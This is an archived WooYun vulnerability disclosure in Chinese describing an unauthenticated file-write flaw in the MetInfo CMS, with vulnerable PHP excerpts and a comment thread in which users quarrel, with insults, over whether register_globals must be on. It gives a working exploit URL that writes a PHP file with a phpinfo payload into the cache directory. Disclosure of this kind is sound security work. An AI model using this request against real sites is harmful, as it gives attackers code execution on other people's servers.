漏洞概要
关注数(24)
关注此漏洞
漏洞标题:MetInfo 无需登录前台直接GETSHELL
提交时间:2015-02-02 13:12
修复时间:2015-05-03 13:24
公开时间:2015-05-03 13:24
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2015-02-02: 细节已通知厂商并且等待厂商处理中
2015-02-02: 厂商已经确认,细节仅向厂商公开
2015-02-05: 细节向第三方安全合作伙伴开放
2015-03-29: 细节向核心白帽子及相关领域专家公开
2015-04-08: 细节向普通白帽子公开
2015-04-18: 细节向实习白帽子公开
2015-05-03: 细节向公众公开
简要描述:
MetInfo 无需登录前台GETSHELL 看着metinfo 注入都两个$$ @疯狗 @Finger来一道闪电吧
详细说明:
metinfo整体做的还算不错,但是一个小疏忽,越权导致大漏洞
代码如下:
admin/include/common.inc.php 由于之前在最外围进行了一次参数解析,所以这里可以通过全量覆盖过来
先不说这里,一会儿用得上,我们看一下
admin/include/lang.php:
第一步:
if($_GET[langset]!="" and $met_admin_type_ok==1){
$languser = $_GET[langset];
}
这里我们全量覆盖met_admin_type_ok=1 就可以直接赋值无过滤赋值$languser
怎么能让这一句成立
!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')
第一我们得定义ROOTPATH
第二我们知道,php一个全版本的小bug
file_put_contents("d:/a.php/../a.php")这种是不会报错的
但是对于langset 他有限制条件,我们怎么逾越这个条件
此时猜想,若果有一个地方也越权,并且include了lang.php
common.inc.php:
发现了在此处引入,下来我们看
if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');
如果met_langadmin参与运算的结果是个数组,这时候langset 就完全可控制
后面走到了
lang.php:
1.!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php') 此处要是个空文件
2.$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
$result= $db->query($query);
这个查询为空,langset经过构造后 这个肯定是个空
3.$js1='$'."js='".str_replace("'","\\'",$js).'\';';
$str="<?php\n".$str.$js1."\n?>";
file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);
发现$str 就可以没有任何给它初始化,直接全局覆盖过来即可
发送url:
http://localhost/metinfo/admin/include/common.inc.php?met_admin_type_ok=1&langset=123&met_langadmin[123][]=12345&str=phpinfo%28%29%3B%3F%3E%2f%2f
直接就会在
cache目录下创建一个文件langadmin_123.php
内容为:
<?php
phpinfo();?>//$js='var user_msg = new Array();
';
?>
访问以下

漏洞证明:
修复方案:
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2015-02-02 13:22
厂商回复:
是系统漏洞,感谢反馈。
最新状态:
暂无
漏洞评价:
评论
-
2015-02-02 13:19 |
nony ( 路人 | Rank:28 漏洞数:13 | Not do is die...)
-
2015-02-02 13:21 |
menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)
@nony 官网直接都能shell 没人给啊 哀!!!!
-
2015-02-02 13:31 |
menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)
-
2015-02-02 13:50 |
roker ( 普通白帽子 | Rank:357 漏洞数:108 )
-
2015-02-02 14:31 |
rpbswt ( 路人 | Rank:0 漏洞数:1 | test my)
-
2015-02-02 17:26 |
chock ( 实习白帽子 | Rank:58 漏洞数:15 | 今夜我们都是wooyun人,我们一定要收购长亭)
-
2015-02-02 18:26 |
BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)
-
2015-02-06 12:23 |
Ricter ( 实习白帽子 | Rank:59 漏洞数:15 | 渣渣一个)
这个洞要开启 register_global,太鸡肋了-.-我还以为是 metinfo 的自身导致的 getshell
-
2015-02-06 12:30 |
′雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)
@Ricter -.- metinfo不是也是像qibo那样伪全局的吗
-
2015-02-06 12:46 |
menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)
@′雨。 @Ricter 但是官网 让哥就给shell了
-
2015-02-06 15:15 |
狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)
还是admin后台的,怎么都是一些鸡肋漏洞。。汗!!!!!!!!!!!!
-
2015-02-06 15:34 |
menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)
-
2015-02-06 17:29 |
Stefanie ( 实习白帽子 | Rank:75 漏洞数:9 | 暂无)
@狗狗侠 这位洞主的很多漏洞都分析过,鸡肋的就算了,很多都是自己把代码改了意淫之后才能复现。。。O.O。。难道是我水平问题?
-
2015-02-06 17:45 |
Stefanie ( 实习白帽子 | Rank:75 漏洞数:9 | 暂无)
@menmen519 恼羞成怒了么~~~洞主那些本地意淫的漏洞真不敢苟同
-
2015-02-06 23:18 |
roker ( 普通白帽子 | Rank:357 漏洞数:108 )
@Ricter @狗狗侠 @Stefanie 为什么好像你们都知道细节的样纸。。
-
2015-02-06 23:41 |
狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)
@Stefanie @roker 观看了洞主很多漏洞,能对线上业务系统造成危害的确实很少,希望洞主能发一些确实能危害到应用系统的漏洞,如果伪造或者鸡肋到不能再鸡肋的漏洞请标注,别放大了实际危害范围,同时希望乌云能加大审核力度,@xsser @疯狗 @Finger
-
2015-02-06 23:51 |
Stefanie ( 实习白帽子 | Rank:75 漏洞数:9 | 暂无)
-
2015-02-07 00:23 |
menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)
@狗狗侠 @roker 我知道他为什么能知道细节,要么就我哥们告诉他了 要么就以绿盟合作关系看到的 真他妈当年去研究院没见到这B 以后哥发的漏洞你们最好别看 真他妈晦气
-
2015-02-07 08:13 |
menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)
@狗狗侠 @xsser @疯狗 @Finger @MetInfo 逻辑漏洞 越权漏洞 xss漏洞 都不算漏洞? sql注入拿不下系统也不算漏洞? 厂商又不傻 如果这个危害不大,怎么秒确认 而且给20rank 别一天能提前看到漏洞 就这里泄露一下 那里泄露一下,那就请wooyun给出来明确说法,能搞到系统的才算漏洞,那这样大家都愉快多了
-
2015-02-07 10:34 |
狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)
-
2015-02-07 16:54 |
Stefanie ( 实习白帽子 | Rank:75 漏洞数:9 | 暂无)
@menmen519 哎哟。。吓尿了。。。还你哥们告诉我。。。还绿盟的账号。。。。我真的是给跪了。。。
-
2015-02-07 16:59 |
menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)
@Stefanie 别自以为是了 你以为哥说你呢 你还没到那个级别
-
2015-02-07 17:06 |
menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)
@Stefanie 把自己那一块做好 跟着别人瞎嚷嚷 一般没本事的 就喜欢跟着别人 起哄 我一般都懒的理你这类人 有种你也发出来让我看看
-
2015-02-08 09:58 |
狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)
http://zone.wooyun.org/content/18562
-
2015-02-08 10:17 |
error ( 普通白帽子 | Rank:415 漏洞数:96 )
-
2015-02-08 10:32 |
Stefanie ( 实习白帽子 | Rank:75 漏洞数:9 | 暂无)
不好意思''就是我看出你这是意淫的''才有人发帖了'''我做好自己''下次你发一个我分析一个'''
-
2015-02-08 12:05 |
Stefanie ( 实习白帽子 | Rank:75 漏洞数:9 | 暂无)
@menmen519 另外,我就想问问什么是瞎嚷嚷,我第一时间看到这个漏洞并发现是意淫的,你以为我没看漏洞么,叫瞎嚷嚷么?来给我解释解释哈~~咱别给NS丢人行不
-
2015-02-08 12:09 |
menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)
@Stefanie 你还不是瞎嚷嚷,连聊天记录都没有看明白的人,歇歇吧
-
2015-02-08 12:41 |
Ricter ( 实习白帽子 | Rank:59 漏洞数:15 | 渣渣一个)
@menmen519 @′雨。 admin/include/common.inc.php 没有伪全局的,自己试试咯
-
2015-02-08 12:49 |
′雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)
-
2015-02-08 13:10 |
Stefanie ( 实习白帽子 | Rank:75 漏洞数:9 | 暂无)
@menmen519 就想问问,你这个phpinfo怎么出来的,不是意淫的么,哈哈,这次不需要手动修改代码才能让漏洞利用成功了?自己心里比谁都明白,还老在这装着玩,就这样吧,我也确实没时间再搭理了,以后没人意淫漏洞了我也省的分析了
-
2015-02-08 22:23 |
agnes0621 ( 路人 | Rank:2 漏洞数:1 | a)
@Stefanie 这个洞有限定条件,你都看到细节了,还不知道咋回事,确实是水平问题。
-
2015-02-09 11:24 |
Stefanie ( 实习白帽子 | Rank:75 漏洞数:9 | 暂无)
@agnes0621 不好意思我是看出你开启了 register_globals在意淫漏洞,还故意不说需要开启什么,所以才喷你的,换个马甲就不认识你了?
-
2015-02-09 14:13 |
agnes0621 ( 路人 | Rank:2 漏洞数:1 | a)
@Stefanie 看了这么多评论,你终于看出来了,水平不错。懒得鸟你
-
2015-03-02 14:43 |
Stefanie ( 实习白帽子 | Rank:75 漏洞数:9 | 暂无)
@agnes0621 呵呵,是我最先看出来,才找了那么多人骂你。。哈哈。。你知道乌云的帖子怎么来的么。。。。
-
2015-07-16 23:12 |
龟兔赛跑 ( 普通白帽子 | Rank:243 漏洞数:29 | 初学者)